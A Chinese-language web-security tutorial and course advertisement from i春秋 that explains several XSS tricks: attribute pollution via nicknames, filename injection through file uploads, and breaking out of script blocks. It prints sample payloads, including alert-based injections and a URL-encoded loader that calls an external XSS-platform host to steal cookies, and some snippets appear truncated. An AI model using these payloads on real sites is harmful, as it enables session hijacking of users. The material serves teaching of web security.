XSS漏洞是Web應用程序中最常見的漏洞之一，想要入門Web安全的小伙伴，這個知識點是必學的。
i春秋官網中有很多關於XSS漏洞的課程，新手小白可以去官網看課學習。
學習地址：https://www.ichunqiu.com/search/XSS漏洞
XSS是一種經常出現在Web應用中的計算機安全漏洞，也是客戶端腳本安全的頭號大敵。今天i春秋跟大家分享的是XSS漏洞的進階篇，如何利用XSS漏洞的一些小技巧，希望對大家學習Web安全有所幫助。
污染標簽
簡單的說，XSS漏洞的本質就是輸入與輸出。
比如，我的QQ網名是：
"你的網名">
結果就被污染成
<input value="">
這樣的話我就成功彈窗了，但又有什么用呢？
我們可以構造語句：
<input value=""#ff0000">http%3A%2F%2Fxssnow.com%2FdZJ4%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));">
這樣我們就能成功打到cookie了。
文件名稱XSS
有些網站有上傳點，但是后台並未對文件名做更改。
比如上傳以后前端代碼是這樣的：
<a href="http://127.0.0.1/upload/1.rar">test</a>
1.rar假設就是我們上傳的文件。
我們是不是又可以構造語句閉合或者污染標簽，值得一提的是，你需要抓包改文件名（想在Windows環境下改，你去試試就知道是怎么回事了）
我們就改成：
"><script>alert(1)</script>.rar
這樣的話，就變成：
成功彈窗，如果過濾了尖括號 < >
就可以按照之前講的標簽污染法，讓它執行我們的JS語句。
閉合JS
有時候，JS會調用我們網站的一些資料，類似昵稱。
<html>
<head>
<script>
name = sqler；
</script>
</head>
<body>
welcome sqler；
</body>
</html>
因為我們昵稱是被包含在<head>里，我們無法利用。
這樣我們就需要為它打開一個新大門。
</script></head><body><img src=x onerror=alert(1)>
這樣我們就成功彈窗。
以上就是今天要分享的內容，是不是很簡單。
XSS漏洞是Web安全入門必掌握的知識點，當然還有CSRF漏洞、Webshell與文件上傳漏洞、SQL注入等等，如果想要全面系統的學習Web安全入門課程，可以到i春秋官網（ichunqiu.com/train）進行報名。
快速報名入口：https://www.ichunqiu.com/train/course/11
面向人群
信息安全小白、高等院校信息安全、網絡空間安全專業學生、信息安全愛好者、Web應用開發人員。
學習方式
通過在線視頻學習資源，結合實驗練習，帶你全方位學習Web安全。上課期間助教老師實時在互動區進行溝通答疑，若脫離上課時間可在班級內老師答疑模塊中進行問題咨詢留言。
學習時間
Web安全入門班每月有兩次報名機會，大家可以根據自己實際情況進行相應選擇，學習時間靈活，非常適合上班族的新手小白們。
課程目標
1、了解Web應用程序架構；
2、熟悉Web常見漏洞原理；
3、掌握Web基礎安全漏洞利用方式與防御方法；
4、熟悉滲透測試流程；
5、熟練使用多種滲透測試工具。
課程介紹
課程以漏洞為核心，從Web應用架構、漏洞原理，利用方式與防御方法等，多方面剖析Web應用安全相關知識，並以此為基礎學習滲透測試的操作流程及各階段工作內容，熟悉滲透測試工具的使用。
課程優勢
1、低門檻、易學習；
2、知識點配套實驗；
3、助教老師答疑。
通過以上內容的介紹，如果還有其他疑問，歡迎大家前來咨詢，我們會有更專業的老師為你講解，給你答疑解惑。謝老師 18513200565（手機、微信同步）